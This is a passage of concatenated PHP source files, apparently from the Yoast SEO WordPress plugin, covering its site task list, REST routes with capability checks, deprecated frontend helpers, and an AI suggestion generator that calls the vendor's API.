Hello World post could not be deleted. */ public function complete_task(): void { $post = \get_post( 1 ); if ( $post instanceof WP_Post ) { $result = \wp_delete_post( $post->ID ); if ( ! $result ) { throw new Complete_Hello_World_Task_Exception(); } } } /** * Returns the task's call to action entry. * * @return string|null */ public function get_call_to_action(): Call_To_Action_Entry { return new Call_To_Action_Entry( \__( 'Delete for me', 'wordpress-seo' ), 'delete', $this->get_link(), ); } /** * Returns the task's copy set. * * @return string|null */ public function get_copy_set(): Copy_Set { return new Copy_Set( \__( 'Remove the “Hello World” post', 'wordpress-seo' ), \__( 'Leaving placeholder content makes your site look unfinished and untrustworthy. Removing it keeps your site clean and professional for visitors and search engines.', 'wordpress-seo' ), null, ); } } task-list/application/tasks/create-new-content.php000064400000004714152076254410016336 0ustar00post_type_helper = $post_type_helper; } /** * Returns whether this task is completed. * * @return bool Whether this task is completed. */ public function get_is_completed(): bool { if ( ! \in_array( 'post', $this->post_type_helper->get_public_post_types(), true ) ) { return true; } $recent_posts = \get_posts( [ 'post_type' => 'post', 'post_status' => 'publish', 'numberposts' => 1, 'date_query' => [ [ 'after' => '30 days ago', ], ], ], ); return ! empty( $recent_posts ); } /** * Returns the task's link. * * @return string|null */ public function get_link(): ?string { return \self_admin_url( 'post-new.php' ); } /** * Returns the task's call to action entry. * * @return string|null */ public function get_call_to_action(): Call_To_Action_Entry { return new Call_To_Action_Entry( \__( 'Create new post', 'wordpress-seo' ), 'add', $this->get_link(), ); } /** * Returns the task's copy set. * * @return string|null */ public function get_copy_set(): Copy_Set { return new Copy_Set( \__( 'Create new content', 'wordpress-seo' ), \__( 'Long gaps without new content slow down your traffic growth. Publishing regularly gives search engines and visitors a reason to return.', 'wordpress-seo' ), \__( 'Plan a topic, write your post, and use the SEO and Readability Analyses to refine it before publishing.', 'wordpress-seo' ), ); } } task-list/infrastructure/endpoints/get-tasks-endpoint.php000064400000001672152076254440020012 0ustar00get_namespace() . $this->get_route() ); } } task-list/infrastructure/endpoints/complete-task-endpoint.php000064400000001722152076254440020654 0ustar00get_namespace() . $this->get_route() ); } } task-list/infrastructure/register-post-type-tasks-integration.php000064400000007164152076254440021523 0ustar00 The conditionals that must be met to load this. */ public static function get_conditionals(): array { return [ Task_List_Enabled_Conditional::class, ]; } /** * The constructor. * * @param Post_Type_Task_Interface ...$post_type_tasks The post type tasks. */ public function __construct( Post_Type_Task_Interface ...$post_type_tasks ) { $this->post_type_tasks = $post_type_tasks; } /** * Sets the post type helper for the post type tasks. * * @required * * @codeCoverageIgnore - Is handled by DI-container. * * @param Post_Type_Helper $post_type_helper The post type helper. * * @return void */ public function set_post_type_helper( Post_Type_Helper $post_type_helper ) { $this->post_type_helper = $post_type_helper; } /** * Registers action hook. * * @return void */ public function register_hooks(): void { \add_filter( 'wpseo_task_list_tasks', [ $this, 'register_post_type_tasks' ] ); } /** * Gets the post type tasks. * * @return array> The tasks. * * @throws Invalid_Post_Type_Tasks_Exception If any of the filtered tasks is invalid. */ private function get_post_type_tasks(): array { // Remove this line when we decide to re-instate the search appearance post type tasks. $this->post_type_tasks = []; /** * Filter: 'wpseo_task_list_post_type_tasks' - Allows adding more post type tasks to the task list. * * @param array> $tasks The post type tasks for the task list. * * @internal */ $final_post_type_tasks = \apply_filters( 'wpseo_task_list_post_type_tasks', $this->post_type_tasks ); // Check that every item is an instance of Post_Type_Task_Interface. foreach ( $final_post_type_tasks as $task ) { if ( ! $task instanceof Post_Type_Task_Interface ) { throw new Invalid_Post_Type_Tasks_Exception(); } } return $final_post_type_tasks; } /** * Adds the post type tasks in the task collector. * * @param array> $existing_tasks Currently set tasks. * * @return array> Tasks with added post type tasks. */ public function register_post_type_tasks( $existing_tasks ) { $post_types = $this->post_type_helper->get_public_post_types(); $post_types = \array_intersect( $post_types, [ 'post', 'page', 'product' ] ); $tasks = []; foreach ( $this->get_post_type_tasks() as $task ) { foreach ( $post_types as $post_type ) { $task_copy = $task->duplicate_for_post_type( $post_type ); $tasks[] = $task_copy; } } return \array_merge( $existing_tasks, $tasks ); } } task-list/infrastructure/tasks-collectors/tasks-collector-interface.php000064400000000566152076254440022633 0ustar00> The tasks data. */ public function get_tasks_data(): array; } task-list/infrastructure/tasks-collectors/tasks-collector.php000064400000007243152076254450020675 0ustar00get_id() ] = $task; } $this->tasks = $tasks_with_id; } /** * Sets the tracking link adapter. * * @required * * @codeCoverageIgnore - Is handled by DI-container. * * @param Tracking_Link_Adapter $tracking_link_adapter The tracking link adapter. * * @return void */ public function set_tracking_link_adapter( Tracking_Link_Adapter $tracking_link_adapter ) { $this->tracking_link_adapter = $tracking_link_adapter; } /** * Gets a task. * * @param string $task_id The task ID. * * @return Task_Interface The given task. */ public function get_task( string $task_id ): ?Task_Interface { $all_tasks = $this->get_tasks(); return ( $all_tasks[ $task_id ] ?? null ); } /** * Gets a completeable task. * * @param string $task_id The task ID. * * @return Task_Interface The given task. */ public function get_completeable_task( string $task_id ): ?Completeable_Task_Interface { $all_tasks = $this->get_tasks(); $task = ( $all_tasks[ $task_id ] ?? null ); if ( ! $task instanceof Completeable_Task_Interface ) { return null; } return $task; } /** * Gets the tasks. * * @return array> The tasks. * * @throws Invalid_Tasks_Exception If an invalid task is added. */ public function get_tasks(): array { /** * Filter: 'wpseo_task_list_tasks' - Allows adding more tasks to the task list. * * @param array> $tasks The tasks for the task list. */ $tasks = \apply_filters( 'wpseo_task_list_tasks', $this->tasks ); // Check that every item is an instance of Post_Type_Task_Interface. foreach ( $tasks as $task_id => $task ) { if ( ! $task instanceof Task_Interface ) { throw new Invalid_Tasks_Exception(); } if ( $task->is_valid() === false ) { unset( $tasks[ $task_id ] ); } } return $tasks; } /** * Gets the tasks data. * * @return array> The tasks data. */ public function get_tasks_data(): array { $tasks = $this->get_tasks(); $tasks_data = []; foreach ( $tasks as $task ) { // We need to enhance the links first. $task->set_enhanced_call_to_action( new Call_To_Action_Entry( $task->get_call_to_action()->get_label(), $task->get_call_to_action()->get_type(), $this->tracking_link_adapter->create_tracking_link_for_tasks( $task->get_call_to_action()->get_href(), ), ), ); $tasks_data[ $task->get_id() ] = $task->to_array(); } return $tasks_data; } } task-list/infrastructure/tasks-collectors/cached-tasks-collector.php000064400000002465152076254450022103 0ustar00tasks_collector = $tasks_collector; } /** * Gets the tasks data. * * @TODO: Maybe this can be improved at some point by caching only the is_completed info instead of all the task data. * * @return array> The tasks data. */ public function get_tasks_data(): array { $cached_tasks_data = \get_transient( self::TASKS_TRANSIENT ); if ( $cached_tasks_data !== false ) { return \json_decode( $cached_tasks_data, true ); } $tasks_data = $this->tasks_collector->get_tasks_data(); \set_transient( self::TASKS_TRANSIENT, WPSEO_Utils::format_json_encode( $tasks_data ), \MINUTE_IN_SECONDS ); return $tasks_data; } } task-list/user-interface/tasks/complete-task-route.php000064400000007654152076254450017163 0ustar00 The conditionals that must be met to load this. */ public static function get_conditionals(): array { return [ Task_List_Enabled_Conditional::class, ]; } /** * The constructor. * * @param Tasks_Collector $tasks_collector The collector for all tasks. * @param Capability_Helper $capability_helper The capability helper. * @param Action_Tracker $action_tracker The action tracker. */ public function __construct( Tasks_Collector $tasks_collector, Capability_Helper $capability_helper, Action_Tracker $action_tracker ) { $this->tasks_collector = $tasks_collector; $this->capability_helper = $capability_helper; $this->action_tracker = $action_tracker; } /** * Registers routes for scores. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_NAME, [ [ 'methods' => 'POST', 'callback' => [ $this, 'complete_task' ], 'permission_callback' => [ $this, 'permission_manage_options' ], 'args' => [ 'options' => [ 'type' => 'object', 'required' => true, 'properties' => [ 'task' => [ 'type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_text_field', ], ], ], ], ], ], ); } /** * Completes a task. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response The success or failure response. * * @throws Task_Not_Found_Exception When the given task name is not implemented yet. */ public function complete_task( WP_REST_Request $request ): WP_REST_Response { try { $this->action_tracker->track_version_for_performed_action( 'task_first_actioned_on' ); $task_name = $request->get_param( 'options' )['task']; $task = $this->tasks_collector->get_completeable_task( $task_name ); if ( ! $task ) { throw new Task_Not_Found_Exception(); } $task->complete_task(); } catch ( Exception $exception ) { return new WP_REST_Response( [ 'success' => false, 'error' => $exception->getMessage(), ], $exception->getCode(), ); } \delete_transient( Cached_Tasks_Collector::TASKS_TRANSIENT ); return new WP_REST_Response( [ 'success' => true, ], 200, ); } /** * Permission callback. * * @return bool True when user has the 'wpseo_manage_options' capability. */ public function permission_manage_options() { return $this->capability_helper->current_user_can( 'wpseo_manage_options' ); } } task-list/user-interface/tasks/get-tasks-route.php000064400000007026152076254450016306 0ustar00 The conditionals that must be met to load this. */ public static function get_conditionals(): array { return [ Task_List_Enabled_Conditional::class, ]; } /** * The constructor. * * @param Tasks_Repository $tasks_repository The repository for all tasks. * @param Capability_Helper $capability_helper The capability helper. * @param Action_Tracker $action_tracker The action tracker. */ public function __construct( Tasks_Repository $tasks_repository, Capability_Helper $capability_helper, Action_Tracker $action_tracker ) { $this->tasks_repository = $tasks_repository; $this->capability_helper = $capability_helper; $this->action_tracker = $action_tracker; } /** * Registers routes for scores. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_NAME, [ [ 'methods' => 'GET', 'callback' => [ $this, 'get_tasks' ], 'permission_callback' => [ $this, 'permission_manage_options' ], 'args' => [ 'options' => [ 'type' => 'object', 'required' => false, 'properties' => [ 'filter' => [ 'type' => 'string', 'required' => false, 'sanitize_callback' => 'sanitize_text_field', ], 'limit' => [ 'type' => 'int', 'required' => false, 'sanitize_callback' => 'absint', ], ], ], ], ], ], ); } /** * Gets tasks with their information. * * @return WP_REST_Response The success or failure response. */ public function get_tasks(): WP_REST_Response { try { $this->action_tracker->track_version_for_performed_action( 'task_list_first_opened_on' ); $tasks_data = $this->tasks_repository->get_tasks_data(); } catch ( Exception $exception ) { return new WP_REST_Response( [ 'success' => false, 'error' => $exception->getMessage(), ], $exception->getCode(), ); } return new WP_REST_Response( [ 'success' => true, 'tasks' => $tasks_data, ], 200, ); } /** * Permission callback. * * @return bool True when user has the 'wpseo_manage_options' capability. */ public function permission_manage_options() { return $this->capability_helper->current_user_can( 'wpseo_manage_options' ); } } main.php000064400000003514152076254450006216 0ustar00is_development() && \class_exists( '\Yoast\WP\SEO\Dependency_Injection\Container_Compiler' ) ) { // Exception here is unhandled as it will only occur in development. Container_Compiler::compile( $this->is_development(), __DIR__ . '/generated/container.php', __DIR__ . '/../config/dependency-injection/services.php', __DIR__ . '/../vendor/composer/autoload_classmap.php', 'Yoast\WP\SEO\Generated', ); } if ( \file_exists( __DIR__ . '/generated/container.php' ) ) { require_once __DIR__ . '/generated/container.php'; return new Cached_Container(); } return null; } /** * {@inheritDoc} */ protected function get_name() { return 'yoast-seo'; } /** * {@inheritDoc} */ protected function get_surfaces() { return [ 'classes' => Classes_Surface::class, 'meta' => Meta_Surface::class, 'helpers' => Helpers_Surface::class, ]; } } deprecated/frontend/frontend.php000064400000016771152076254460013042 0ustar00context_memoizer = YoastSEO()->classes->get( Meta_Tags_Context_Memoizer::class ); $this->replace_vars = YoastSEO()->classes->get( WPSEO_Replace_Vars::class ); $this->helpers = YoastSEO()->classes->get( Helpers_Surface::class ); } /** * Catches call to methods that don't exist and might deprecated. * * @param string $method The called method. * @param array $arguments The given arguments. * * @return mixed */ public function __call( $method, $arguments ) { _deprecated_function( $method, 'Yoast SEO 14.0' ); $title_methods = [ 'title', 'fix_woo_title', 'get_content_title', 'get_seo_title', 'get_taxonomy_title', 'get_author_title', 'get_title_from_options', 'get_default_title', 'force_wp_title', ]; if ( in_array( $method, $title_methods, true ) ) { return $this->get_title(); } return null; } /** * Retrieves an instance of the class. * * @return static The instance. */ public static function get_instance() { self::$instance ??= new self(); return self::$instance; } /** * Outputs the canonical value. * * @param bool $echo Whether or not to output the canonical element. * @param bool $un_paged Whether or not to return the canonical with or without pagination added to the URL. * @param bool $no_override Whether or not to return a manually overridden canonical. * * @return string|void */ public function canonical( $echo = true, $un_paged = false, $no_override = false ) { _deprecated_function( __METHOD__, 'Yoast SEO 14.0' ); $presentation = $this->get_current_page_presentation(); $presenter = new Canonical_Presenter(); /** This filter is documented in src/integrations/front-end-integration.php */ $presenter->presentation = $presentation; $presenter->helpers = $this->helpers; $presenter->replace_vars = $this->replace_vars; if ( ! $echo ) { return $presenter->get(); } echo $presenter->present(); } /** * Retrieves the meta robots value. * * @return string */ public function get_robots() { _deprecated_function( __METHOD__, 'Yoast SEO 14.0' ); $presentation = $this->get_current_page_presentation(); return $presentation->robots; } /** * Outputs the meta robots value. * * @return void */ public function robots() { _deprecated_function( __METHOD__, 'Yoast SEO 14.0' ); $presentation = $this->get_current_page_presentation(); $presenter = new Robots_Presenter(); $presenter->presentation = $presentation; $presenter->helpers = $this->helpers; $presenter->replace_vars = $this->replace_vars; echo $presenter->present(); } /** * Determine $robots values for a single post. * * @param array $robots Robots data array. * @param int $post_id The post ID for which to determine the $robots values, defaults to current post. * * @return array */ public function robots_for_single_post( $robots, $post_id = 0 ) { _deprecated_function( __METHOD__, 'Yoast SEO 14.0' ); $presentation = $this->get_current_page_presentation(); return $presentation->robots; } /** * Used for static home and posts pages as well as singular titles. * * @param object|null $object If filled, object to get the title for. * * @return string The content title. */ private function get_title( $object = null ) { _deprecated_function( __METHOD__, 'Yoast SEO 14.0' ); $presentation = $this->get_current_page_presentation(); $title = $presentation->title; return $this->replace_vars->replace( $title, $presentation->source ); } /** * This function adds paging details to the title. * * @param string $sep Separator used in the title. * @param string $seplocation Whether the separator should be left or right. * @param string $title The title to append the paging info to. * * @return string */ public function add_paging_to_title( $sep, $seplocation, $title ) { _deprecated_function( __METHOD__, 'Yoast SEO 14.0' ); return $title; } /** * Add part to title, while ensuring that the $seplocation variable is respected. * * @param string $sep Separator used in the title. * @param string $seplocation Whether the separator should be left or right. * @param string $title The title to append the title_part to. * @param string $title_part The part to append to the title. * * @return string */ public function add_to_title( $sep, $seplocation, $title, $title_part ) { _deprecated_function( __METHOD__, 'Yoast SEO 14.0' ); if ( $seplocation === 'right' ) { return $title . $sep . $title_part; } return $title_part . $sep . $title; } /** * Adds 'prev' and 'next' links to archives. * * @link http://googlewebmastercentral.blogspot.com/2011/09/pagination-with-relnext-and-relprev.html * * @return void */ public function adjacent_rel_links() { _deprecated_function( __METHOD__, 'Yoast SEO 14.0' ); $presentation = $this->get_current_page_presentation(); $rel_prev_presenter = new Rel_Prev_Presenter(); $rel_prev_presenter->presentation = $presentation; $rel_prev_presenter->helpers = $this->helpers; $rel_prev_presenter->replace_vars = $this->replace_vars; echo $rel_prev_presenter->present(); $rel_next_presenter = new Rel_Next_Presenter(); $rel_next_presenter->presentation = $presentation; $rel_next_presenter->helpers = $this->helpers; $rel_next_presenter->replace_vars = $this->replace_vars; echo $rel_next_presenter->present(); } /** * Outputs the meta description element or returns the description text. * * @param bool $echo Echo or return output flag. * * @return string */ public function metadesc( $echo = true ) { _deprecated_function( __METHOD__, 'Yoast SEO 14.0' ); $presentation = $this->get_current_page_presentation(); $presenter = new Meta_Description_Presenter(); $presenter->presentation = $presentation; $presenter->helpers = $this->helpers; $presenter->replace_vars = $this->replace_vars; if ( ! $echo ) { return $presenter->get(); } $presenter->present(); } /** * Returns the current page presentation. * * @return Indexable_Presentation The current page presentation. */ private function get_current_page_presentation() { $context = $this->context_memoizer->for_current_page(); /** This filter is documented in src/integrations/front-end-integration.php */ return apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context ); } } deprecated/frontend/breadcrumbs.php000064400000006240152076254460013502 0ustar00context_memoizer = YoastSEO()->classes->get( Meta_Tags_Context_Memoizer::class ); $this->helpers = YoastSEO()->classes->get( Helpers_Surface::class ); $this->replace_vars = YoastSEO()->classes->get( WPSEO_Replace_Vars::class ); } /** * Get breadcrumb string using the singleton instance of this class. * * @param string $before Optional string to prepend. * @param string $after Optional string to append. * @param bool $display Echo or return flag. * * @return string Returns the breadcrumbs as a string. */ public static function breadcrumb( $before = '', $after = '', $display = true ) { // Remember the last used before/after for use in case the object goes __toString(). self::$before = $before; self::$after = $after; $output = $before . self::get_instance()->render() . $after; if ( $display === true ) { echo $output; return ''; } return $output; } /** * Magic method to use in case the class would be send to string. * * @return string The rendered breadcrumbs. */ public function __toString() { return self::$before . $this->render() . self::$after; } /** * Retrieves an instance of the class. * * @return static The instance. */ public static function get_instance() { self::$instance ??= new self(); return self::$instance; } /** * Returns the collected links for the breadcrumbs. * * @return array The collected links. */ public function get_links() { $context = $this->context_memoizer->for_current_page(); return $context->presentation->breadcrumbs; } /** * Renders the breadcrumbs. * * @return string The rendered breadcrumbs. */ private function render() { $presenter = new Breadcrumbs_Presenter(); $context = $this->context_memoizer->for_current_page(); /** This filter is documented in src/integrations/front-end-integration.php */ $presentation = apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context ); $presenter->presentation = $presentation; $presenter->replace_vars = $this->replace_vars; $presenter->helpers = $this->helpers; return $presenter->present(); } } deprecated/index.php000064400000000046152076254460010477 0ustar00 The array of conditionals. */ public static function get_conditionals() { \_deprecated_function( __METHOD__, 'Yoast SEO 25.0' ); return [ Yoast_Admin_And_Dashboard_Conditional::class, ]; } /** * Register hooks. * * @deprecated 25.0 * @codeCoverageIgnore * * @return void */ public function register_hooks() { \_deprecated_function( __METHOD__, 'Yoast SEO 25.0' ); } /** * Checks the current PHP version. * * @deprecated 25.0 * @codeCoverageIgnore * * @return void */ public function check_php_version() { \_deprecated_function( __METHOD__, 'Yoast SEO 25.0' ); } /** * Composes the body of the message to display. * * @deprecated 25.0 * @codeCoverageIgnore * * @return string The message to display. */ public function body() { \_deprecated_function( __METHOD__, 'Yoast SEO 25.0' ); return ''; } } deprecated/src/helpers/request-helper.php000064400000001057152076254460014571 0ustar00options = $options; } /** * Returns `true` when the Site Kit feature is enabled. * * @return bool `true` when the Site Kit feature is enabled. * * @deprecated 26.7 * @codeCoverageIgnore */ public function is_met() { \_deprecated_function( __METHOD__, 'Yoast SEO 26.7' ); return true; } } ai-generator/domain/suggestion.php000064400000001006152076254460013300 0ustar00value = $value; } /** * Returns the suggestion text. * * @return string */ public function get_value(): string { return $this->value; } } ai-generator/domain/endpoint/endpoint-list.php000064400000001505152076254470015527 0ustar00 */ private $endpoints = []; /** * Adds an endpoint to the list. * * @param Endpoint_Interface $endpoint An endpoint. * * @return void */ public function add_endpoint( Endpoint_Interface $endpoint ): void { $this->endpoints[] = $endpoint; } /** * Converts the list to an array. * * @return array The array of endpoints. */ public function to_array(): array { $result = []; foreach ( $this->endpoints as $endpoint ) { $result[ $endpoint->get_name() ] = $endpoint->get_url(); } return $result; } } ai-generator/domain/endpoint/endpoint-interface.php000064400000001062152076254470016512 0ustar00 */ private $suggestions; /** * Class constructor. */ public function __construct() { $this->suggestions = []; } /** * Adds a suggestion to the bucket. * * @param Suggestion $suggestion The suggestion to add. * * @return void */ public function add_suggestion( Suggestion $suggestion ) { $this->suggestions[] = $suggestion; } /** * Returns the suggestions as an array. * * @return array */ public function to_array() { return \array_map( static function ( $item ) { return $item->get_value(); }, $this->suggestions, ); } } ai-generator/application/suggestions-provider.php000064400000014564152076254470016365 0ustar00consent_handler = $consent_handler; $this->request_handler = $request_handler; $this->token_manager = $token_manager; $this->user_helper = $user_helper; } // phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods. /** * Method used to generate suggestions through AI. * * @param WP_User $user The WP user. * @param string $suggestion_type The type of the requested suggestion. * @param string $prompt_content The excerpt taken from the post. * @param string $focus_keyphrase The focus keyphrase associated to the post. * @param string $language The language of the post. * @param string $platform The platform the post is intended for. * @param string $editor The current editor. * @param bool $retry_on_unauthorized Whether to retry when unauthorized (mechanism to retry once). * * @throws Bad_Request_Exception Bad_Request_Exception. * @throws Forbidden_Exception Forbidden_Exception. * @throws Internal_Server_Error_Exception Internal_Server_Error_Exception. * @throws Not_Found_Exception Not_Found_Exception. * @throws Payment_Required_Exception Payment_Required_Exception. * @throws Request_Timeout_Exception Request_Timeout_Exception. * @throws Service_Unavailable_Exception Service_Unavailable_Exception. * @throws Too_Many_Requests_Exception Too_Many_Requests_Exception. * @throws Unauthorized_Exception Unauthorized_Exception. * @throws RuntimeException Unable to retrieve the access token. * @return string[] The suggestions. */ public function get_suggestions( WP_User $user, string $suggestion_type, string $prompt_content, string $focus_keyphrase, string $language, string $platform, string $editor, bool $retry_on_unauthorized = true ): array { $token = $this->token_manager->get_or_request_access_token( $user ); $request_body = [ 'service' => 'openai', 'user_id' => (string) $user->ID, 'subject' => [ 'content' => $prompt_content, 'focus_keyphrase' => $focus_keyphrase, 'language' => $language, 'platform' => $platform, ], ]; $request_headers = [ 'Authorization' => "Bearer $token", 'X-Yst-Cohort' => $editor, ]; try { $response = $this->request_handler->handle( new Request( "/openai/suggestions/$suggestion_type", $request_body, $request_headers ) ); } catch ( Unauthorized_Exception $exception ) { // Delete the stored JWT tokens, as they appear to be no longer valid. $this->user_helper->delete_meta( $user->ID, '_yoast_wpseo_ai_generator_access_jwt' ); $this->user_helper->delete_meta( $user->ID, '_yoast_wpseo_ai_generator_refresh_jwt' ); if ( ! $retry_on_unauthorized ) { throw $exception; } // Try again once more by fetching a new set of tokens and trying the suggestions endpoint again. return $this->get_suggestions( $user, $suggestion_type, $prompt_content, $focus_keyphrase, $language, $platform, $editor, false ); } catch ( Forbidden_Exception $exception ) { // Follow the API in the consent being revoked (Use case: user sent an e-mail to revoke?). // phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive. $this->consent_handler->revoke_consent( $user->ID ); throw new Forbidden_Exception( 'CONSENT_REVOKED', $exception->getCode() ); // phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped } return $this->build_suggestions_array( $response )->to_array(); } // phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber /** * Generates the list of 5 suggestions to return. * * @param Response $response The response from the API. * * @return Suggestions_Bucket The array of suggestions. */ public function build_suggestions_array( Response $response ): Suggestions_Bucket { $suggestions_bucket = new Suggestions_Bucket(); $json = \json_decode( $response->get_body() ); if ( $json === null || ! isset( $json->choices ) ) { return $suggestions_bucket; } foreach ( $json->choices as $suggestion ) { $suggestions_bucket->add_suggestion( new Suggestion( $suggestion->text ) ); } return $suggestions_bucket; } } ai-generator/infrastructure/endpoints/get-suggestions-endpoint.php000064400000002101152076254470021670 0ustar00get_namespace() . $this->get_route() ); } } ai-generator/infrastructure/endpoints/get-usage-endpoint.php000064400000002043152076254470020427 0ustar00get_namespace() . $this->get_route() ); } } ai-generator/infrastructure/wordpress-urls.php000064400000001756152076254470015752 0ustar00 The conditionals. */ public static function get_conditionals() { return [ AI_Conditional::class ]; } /** * Class constructor. * * @param Token_Manager $token_manager The token manager instance. * @param Request_Handler $request_handler The request handler instance. * @param WPSEO_Addon_Manager $addon_manager The add-on manager instance. */ public function __construct( Token_Manager $token_manager, Request_Handler $request_handler, WPSEO_Addon_Manager $addon_manager ) { $this->addon_manager = $addon_manager; $this->token_manager = $token_manager; $this->request_handler = $request_handler; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_PREFIX, [ 'methods' => 'POST', 'args' => [ 'is_woo_product_entity' => [ 'type' => 'boolean', 'default' => false, ], ], 'callback' => [ $this, 'get_usage' ], 'permission_callback' => [ $this, 'check_permissions' ], ], ); } /** * Runs the callback that gets the monthly usage of the user. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response The response of the callback action. */ public function get_usage( $request ): WP_REST_Response { $is_woo_product_entity = $request->get_param( 'is_woo_product_entity' ); $user = \wp_get_current_user(); try { $token = $this->token_manager->get_or_request_access_token( $user ); $request_headers = [ 'Authorization' => "Bearer $token", ]; $action_path = $this->get_action_path( $is_woo_product_entity ); $response = $this->request_handler->handle( new Request( $action_path, [], $request_headers, false ) ); $data = \json_decode( $response->get_body() ); } catch ( Remote_Request_Exception | WP_Request_Exception $e ) { $message = [ 'errorMessage' => $e->getMessage(), 'errorIdentifier' => $e->get_error_identifier(), 'errorCode' => $e->getCode(), ]; if ( $e instanceof Too_Many_Requests_Exception ) { $message['missingLicenses'] = $e->get_missing_licenses(); } return new WP_REST_Response( $message, $e->getCode(), ); } return new WP_REST_Response( $data ); } /** * Get action path for the request. * * @param bool $is_woo_product_entity Whether the request is for a WooCommerce product entity. * * @return string The action path. */ public function get_action_path( $is_woo_product_entity = false ): string { $unlimited = '/usage/' . \gmdate( 'Y-m' ); if ( $is_woo_product_entity && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ) { return $unlimited; } if ( ! $is_woo_product_entity && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) { return $unlimited; } return '/usage/free-usages'; } } ai-generator/user-interface/bust-subscription-cache-route.php000064400000004070152076254500020451 0ustar00 The conditionals. */ public static function get_conditionals() { return [ AI_Conditional::class ]; } /** * Class constructor. * * @param WPSEO_Addon_Manager $addon_manager The addon manager instance. */ public function __construct( WPSEO_Addon_Manager $addon_manager ) { $this->addon_manager = $addon_manager; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_PREFIX, [ 'methods' => 'POST', 'args' => [], 'callback' => [ $this, 'bust_subscription_cache' ], 'permission_callback' => [ $this, 'check_permissions' ], ], ); } /** * Runs the callback that busts the subscription cache. * * @return WP_REST_Response The response of the callback action. */ public function bust_subscription_cache(): WP_REST_Response { $this->addon_manager->remove_site_information_transients(); return new WP_REST_Response( 'Subscription cache successfully busted.' ); } } ai-generator/user-interface/route-permission-trait.php000064400000001015152076254500017216 0ustar00ID < 1 ) { return false; } return \user_can( $user, 'edit_posts' ); } } ai-generator/user-interface/ai-generator-integration.php000064400000011612152076254500017453 0ustar00 */ public static function get_conditionals() { return [ AI_Conditional::class, AI_Editor_Conditional::class ]; } /** * Constructs the class. * * @param WPSEO_Admin_Asset_Manager $asset_manager The admin asset manager. * @param WPSEO_Addon_Manager $addon_manager The addon manager. * @param API_Client $api_client The API client. * @param Current_Page_Helper $current_page_helper The current page helper. * @param Options_Helper $options_helper The options helper. * @param User_Helper $user_helper The user helper. * @param Introductions_Seen_Repository $introductions_seen_repository The introductions seen repository. */ public function __construct( WPSEO_Admin_Asset_Manager $asset_manager, WPSEO_Addon_Manager $addon_manager, API_Client $api_client, Current_Page_Helper $current_page_helper, Options_Helper $options_helper, User_Helper $user_helper, Introductions_Seen_Repository $introductions_seen_repository ) { $this->asset_manager = $asset_manager; $this->addon_manager = $addon_manager; $this->api_client = $api_client; $this->current_page_helper = $current_page_helper; $this->options_helper = $options_helper; $this->user_helper = $user_helper; $this->introductions_seen_repository = $introductions_seen_repository; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); // Enqueue after Elementor_Premium integration, which re-registers the assets. \add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 ); } /** * Gets the subscription status for Yoast SEO Premium and Yoast WooCommerce SEO. * * @return array */ public function get_product_subscriptions() { return [ 'premiumSubscription' => $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ), 'wooCommerceSubscription' => $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ), ]; } /** * Returns the data that should be passed to the script. * * @return array> */ public function get_script_data() { $user_id = $this->user_helper->get_current_user_id(); return [ 'hasConsent' => $this->user_helper->get_meta( $user_id, '_yoast_wpseo_ai_consent', true ), 'productSubscriptions' => $this->get_product_subscriptions(), 'hasSeenIntroduction' => $this->introductions_seen_repository->is_introduction_seen( $user_id, AI_Fix_Assessments_Upsell::ID ), 'requestTimeout' => $this->api_client->get_request_timeout(), 'isFreeSparks' => $this->options_helper->get( 'ai_free_sparks_started_on', null ) !== null, ]; } /** * Enqueues the required assets. * * @return void */ public function enqueue_assets() { $this->asset_manager->enqueue_script( 'ai-generator' ); $this->asset_manager->localize_script( 'ai-generator', 'wpseoAiGenerator', $this->get_script_data() ); $this->asset_manager->enqueue_style( 'ai-generator' ); } } ai-generator/user-interface/get-suggestions-route.php000064400000011315152076254520017042 0ustar00 The conditionals. */ public static function get_conditionals() { return [ AI_Conditional::class ]; } /** * Class constructor. * * @param Suggestions_Provider $suggestions_provider The suggestions provider instance. */ public function __construct( Suggestions_Provider $suggestions_provider ) { $this->suggestions_provider = $suggestions_provider; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_PREFIX, [ 'methods' => 'POST', 'args' => [ 'type' => [ 'required' => true, 'type' => 'string', 'enum' => [ 'seo-title', 'meta-description', 'product-seo-title', 'product-meta-description', 'product-taxonomy-seo-title', 'product-taxonomy-meta-description', 'taxonomy-seo-title', 'taxonomy-meta-description', ], 'description' => 'The type of suggestion requested.', ], 'prompt_content' => [ 'required' => true, 'type' => 'string', 'description' => 'The content needed by the prompt to ask for suggestions.', ], 'focus_keyphrase' => [ 'required' => true, 'type' => 'string', 'description' => 'The focus keyphrase associated to the post.', ], 'language' => [ 'required' => true, 'type' => 'string', 'description' => 'The language the post is written in.', ], 'platform' => [ 'required' => true, 'type' => 'string', 'enum' => [ 'Google', 'Facebook', 'Twitter', ], 'description' => 'The platform the post is intended for.', ], 'editor' => [ 'required' => true, 'type' => 'string', 'enum' => [ 'classic', 'elementor', 'gutenberg', ], 